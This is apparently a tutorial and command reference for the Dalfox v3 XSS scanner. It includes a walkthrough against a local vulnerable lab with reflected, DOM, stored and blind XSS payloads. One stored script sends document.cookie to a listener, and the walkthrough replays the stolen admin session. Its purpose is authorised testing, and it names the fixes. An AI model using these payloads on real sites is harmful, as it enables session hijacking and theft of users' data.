Quick reference
Dalfox v3 Command Reference
Every flag organised by task. Copy and adapt.
dalfox is the XSS scanner I reach for first. It is fast, scriptable, and reads from stdin which makes it slot cleanly into a recon pipeline. This is the field reference for the flags that matter, grouped by the task I am trying to accomplish.
Heads-up on v3. Dalfox v3.0.0 (released 2026-05-25) is a complete Rust rewrite. The Go v2 codebase is preserved on the
v2branch for security backports. The most visible change: v2'surl,file,pipe,sxss, andserversubcommands are gone. v3 has four subcommands (scan,server,payload,mcp) andscanauto-detects the input shape (URL, file, stdin, raw HTTP). Every example below uses the v3 surface.
If you are new to Dalfox, the walkthrough against a vulnerable lab app further down this page is the right next stop. If you are comparing tools, the best XSS tools list for 2026 covers the alternatives. For the underlying mechanics, the cross-site scripting deep dive has the full taxonomy, with separate writeups on reflected XSS and DOM-based XSS.
What a raw HTTP request file looks like
req.txt is a raw HTTP request: method line, headers, blank line, body. When the endpoint needs auth, custom headers, or a non-trivial POST body, -i raw-http req.txt is faster than packing every flag manually. Here is what it actually looks like:
GET /search?q=test HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiJ9...; PHPSESSID=q9k2...
Connection: close
POST requests look the same with the method and body added:
POST /comment HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Cookie: PHPSESSID=q9k2...
Connection: close
body=hello&author=me
Dalfox tests every parameter it finds in the request unless you restrict with --param. No special markers required.
Capturing it from Chrome or Firefox
- Open DevTools (F12 on Windows/Linux, Cmd+Option+I on macOS), Network tab, enable Preserve log.
- Trigger the target request in the page.
- Right-click the request, Copy as cURL. Paste into a converter (
curlconverter --language http <command>from npm) to get raw HTTP, or hand-translate:-H "Foo: bar"becomes a header line,--data 'x=y'becomes the body. - Save as
req.txt. Use withdalfox scan -i raw-http req.txtin every example below.
Workflow templates
A few command lines I use as starting points and adapt from.
Tune the common flags once. Every command below reads from this. Out-of-range values get a red border. The Googlebot UA usually gets you hard-blocked faster than the default; pick it only when you know the target trusts crawlers.
Simplest possible probe, just a URL with a query string. Good for a first sanity check:
dalfox scan ':target_url' --workers :workers --delay :delay --timeout :timeout --user-agent ':ua'POST request with form data, no req.txt needed:
dalfox scan 'https://target.example/comment' \
-X POST -d 'body=hello&author=me' \
--workers :workers --delay :delay --user-agent ':ua'Captured request, light touch, see if anything reflects:
dalfox scan -i raw-http req.txt --workers :workers --delay :delay --timeout :timeoutAuthenticated, scoped to specific parameters:
dalfox scan -i raw-http req.txt -p 'q:query' -p 'filter:query' \
--workers :workers --delay :delay \
--skip-mining --user-agent ':ua'Behind a WAF, slow and quiet:
dalfox scan -i raw-http req.txt --workers 5 --delay 500 --waf-evasion \
--custom-payload evasion.txt --user-agent ':ua'Blind XSS run with an interactsh callback:
dalfox scan -i raw-http req.txt -b ':blind' \
--workers :workers --delay :delay --user-agent ':ua'The pipeline I use most, kxss as a reflection pre-filter so Dalfox only spends payload budget on endpoints that actually echo input:
echo target.example | gau | kxss | awk '{print $NF}' \
| dalfox scan --silence -f jsonl -o findings.jsonlFull recon chain from a single root domain to confirmed XSS, end to end:
subfinder -d target.example -silent \
| httpx -silent \
| katana -silent \
| dalfox scan --silence -f jsonl -o findings.jsonlStored XSS workflow: send payloads to the profile endpoint, check for reflection on the public view page (v3 replaces dalfox sxss with --sxss):
dalfox scan 'https://target.example/profile/edit' \
--sxss --sxss-url 'https://target.example/profile/view' \
--cookies 'session=abc' \
--workers :workers --delay :delay--silence and -f jsonl are the two flags that matter most for pipeline use. Without them, banner noise and progress spinners corrupt the output stream.
v2 → v3 migration cheat sheet
If you have v2 muscle memory, the most common substitutions:
| v2 | v3 |
|---|---|
dalfox url URL | dalfox scan URL |
dalfox file urls.txt | dalfox scan urls.txt |
dalfox pipe | dalfox scan (stdin auto-detected) |
dalfox sxss URL --trigger T | dalfox scan URL --sxss --sxss-url T |
-r req.txt | -i raw-http req.txt |
-w 100 | --workers 100 |
-C 'cookie' | --cookies 'cookie' |
--method=POST | -X POST |
--format=json | -f json |
--skip-mining-all | --skip-mining |
--skip-bav | (removed; BAV is no longer a separate scan stage in v3) |
--mining-dict-word=w.txt | -W w.txt |
Walkthrough: exploiting a vulnerable lab app
The flags above read better once you have watched Dalfox run a full chain: a reflected hit, a DOM hit, a stored payload that fires in another user's session, a blind callback, and a working cookie-theft proof of concept against an admin account. Every output below was produced against techearl-labs/cross-site-scripting/xss-basic with Dalfox v3. The endpoints, sinks, and demo accounts are deterministic; request counts, the exact PoC byte encoding, the interactsh subdomain, and timestamps vary by environment. Run it only against your own lab or a target you are authorised to test.
Pull and run the lab:
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up xss-basicIt listens on http://localhost:8081 with three rendering sinks and a session cookie set without HttpOnly on purpose:
| Endpoint | Method | Sink | Type |
|---|---|---|---|
/search.php?q=... | GET | q reflected into <h2>Results for: ...</h2> unescaped | Reflected |
/guestbook.php (body field) | POST | comment body stored, rendered raw on /, /guestbook.php, /admin.php | Stored |
/share.php#... | GET | fragment read by inline JS, written via innerHTML | DOM |
/login.php | POST | sets session_id cookie without HttpOnly | Cookie chain |
Demo accounts: admin / admin123, alice / alice123, bob / bob123. The guestbook requires login; everything else fires unauthenticated.
Confirm the sinks by hand
One curl per sink keeps you honest before Dalfox sees anything:
curl -s 'http://localhost:8081/search.php?q=<x>' | grep -o 'Results for: <x>'
curl -s 'http://localhost:8081/share.php' | grep -o 'location.hash'
curl -s -c jar.txt -b jar.txt -d 'username=alice&password=alice123' \
http://localhost:8081/login.php -o /dev/null -w '%{http_code}\n'If the first echoes Results for: <x> verbatim (not <x>), reflection is wired. If the second matches, the DOM sink reads location.hash. If the third returns 302, you have a session cookie in jar.txt for the stored step.
Reflected and DOM scans
v3 uses one subcommand for every input shape. Point scan at a single URL:
dalfox scan 'http://localhost:8081/search.php?q=test'[I] Found reflected param: q
[I] [param=q] reflected with no filter (HTML context)
[POC][R][http://localhost:8081/search.php?q=%3Cimg%2Fsrc%2Fonerror%3Dalert%2845%29%3E]
[POC][R][http://localhost:8081/search.php?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E]
[I] Finished scan. Total: 287 requests, 3 PoCs, elapsed 4.1s
The tag in the second bracket is Dalfox's finding tier. [R] (reflected) means the payload came back in the response but Dalfox did not confirm it fires in context, so you verify it yourself; [V] (vulnerable) means Dalfox judged the input exploitable; [I] (informational) is a non-XSS note such as a vulnerable JS library. DOM-based findings carry [A] (AST-detected): Dalfox's static JavaScript analyser (oxc) parses the inline script and reports the dataflow without a headless browser (the old chromedp/--deep-domxss/--use-bav path was removed). For the DOM sink:
dalfox scan 'http://localhost:8081/share.php'[POC][A][GET][DOM-XSS][http://localhost:8081/share.php#<img src=x onerror=alert(1)>]
[I] DOM sink: innerHTML <- location.hash (oxc, static)
Inline <script> tags are stripped by innerHTML per the HTML spec, so the event-handler form is what fires against this DOM-based XSS sink.
Piped input and captured requests
In a real engagement you have a few hundred URLs from a crawler, not one. scan reads a file path or piped stdin, auto-detecting the shape; -S (silent) strips progress chatter for CI:
cat urls.txt | dalfox scan - -S --workers 16For anything that needs a session cookie, POST body, or non-trivial headers, feed a captured request file. Sign in as alice, intercept the request to /guestbook.php, "Copy to file" as req.txt, then load it with -i raw-http (the v3 replacement for v2's -r):
dalfox scan -i raw-http req.txtOr supply the same shape with individual flags (note the v3 rename of -C/--cookie to --cookies):
dalfox scan 'http://localhost:8081/guestbook.php' \
--data 'body=hello' \
--cookies 'session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c' \
--method POSTStored XSS
Stored XSS is awkward because the payload goes in via one request and comes out on a different page. Anything that survives htmlspecialchars (it is not called here) executes verbatim on the next view of /guestbook.php, /, or /admin.php. A curl end-to-end proves it:
curl -s -b 'session_id=...' \
-d 'body=<script>alert(document.domain)</script>' \
http://localhost:8081/guestbook.php
curl -s -b 'session_id=...' http://localhost:8081/guestbook.php \
| grep -o '<script>alert(document.domain)</script>'If the second grep matches, the payload is stored and rendered raw. v3 removed v2's --found-action, but the CLI still automates the post-then-check loop with its stored-XSS mode: --sxss marks the run as stored, and --sxss-url names the retrieval page(s) Dalfox re-fetches to confirm the payload surfaced (repeat the flag for several pages; --sxss-method and --sxss-retries tune how it polls):
dalfox scan 'http://localhost:8081/guestbook.php' \
--data 'body=PLACEHOLDER' \
--cookies 'session_id=...' \
--method POST \
--sxss --sxss-url 'http://localhost:8081/admin.php'Reserve the v3 REST API (dalfox server) for cases that genuinely need API orchestration, not for this.
Blind XSS with interactsh
Blind XSS is the variant that fires somewhere you cannot see (an admin dashboard, a support-ticket viewer). The model is "the payload calls home". Dalfox has two ways to do it. -b/--blind points the payload at a callback host you control, but Dalfox only fires it, it does not watch the host, so you confirm the hit yourself in interactsh-client. --blind-oob instead registers an interactsh endpoint and polls it (--blind-oob-wait sets the polling window), so Dalfox itself reports the callback as confirmed:
dalfox scan 'http://localhost:8081/guestbook.php' \
--data 'body=PLACEHOLDER' \
--cookies 'session_id=...' \
--method POST \
--blind-oobDalfox posts a payload that loads a remote script:
<script src="//c8a1f0e2.oast.fun/x.js"></script>Sign in as admin and load /admin.php. The browser fetches x.js, the interactsh callback fires, and because --blind-oob has Dalfox polling the OOB endpoint it flags the parameter as confirmed-blind. (With a bare -b <host> instead, the hit lands in your own interactsh-client and you confirm it there.)
Cookie theft proof of concept
The session cookie is set without HttpOnly, so document.cookie reads it from JS. Chain that with the stored sink. Start a listener, then post a comment as alice:
python3 -m http.server 9000<script>new Image().src='http://localhost:9000/c?'+document.cookie</script>Sign out, sign in as admin, load /admin.php. The listener prints:
127.0.0.1 - - [27/May/2026 11:34:02] "GET /c?session_id=7e2a9b...redacted HTTP/1.1" 404 -
Replay that cookie (curl -b 'session_id=7e2a9b...' http://localhost:8081/admin.php) and the admin pages render under your control. The chain is stored sink plus missing HttpOnly plus admin viewing the page equals session hijack; full mechanics in XSS, stealing session cookies. The fix is two lines: set HttpOnly on the session cookie, and HTML-encode the guestbook body on output with htmlspecialchars($body, ENT_QUOTES, 'UTF-8'). Either one alone breaks the chain.
Structured output for CI
For report generation and CI, v3 writes structured output via -f (format) and -o (file). SARIF is the format GitHub Code Scanning and most enterprise scanners ingest natively:
cat urls.txt | dalfox scan - -S \
-f sarif -o results.sarif \
--scan-timeout 600 --max-payloads-per-param 50--dry-run runs a preflight without firing payloads, which is the right thing to wire into a PR check that fails fast on config mistakes before spending the scan budget.
Flags I almost never use
--config(the TOML/JSON config file) if you only scan ad-hoc targets. Useful when the same scope reappears weekly.--include-request --include-responsein fast scans; the output balloons quickly. Enable only when triaging a specific finding.--only-discoveryon its own;--skip-xss-scanningreads more clearly to anyone else reading the run script.
A note on responsible use
Every flag above is dual use. The same blind callback that catches an admin's session in your bug bounty target is the one I run against my own lab apps weekly. Use these against systems you own or are explicitly authorised to test. See the legal-framing notes in the cross-site scripting deep dive.
Sources
Authoritative references this article was fact-checked against.
- Dalfox, official repositorygithub.com
- Dalfox CLI Reference (v3)github.com
- Dalfox detection model (finding tiers)github.com
- Dalfox v2 to v3 migration guidegithub.com
- Dalfox documentation sitedalfox.hahwul.com
- techearl-labs, xss-basic labgithub.com





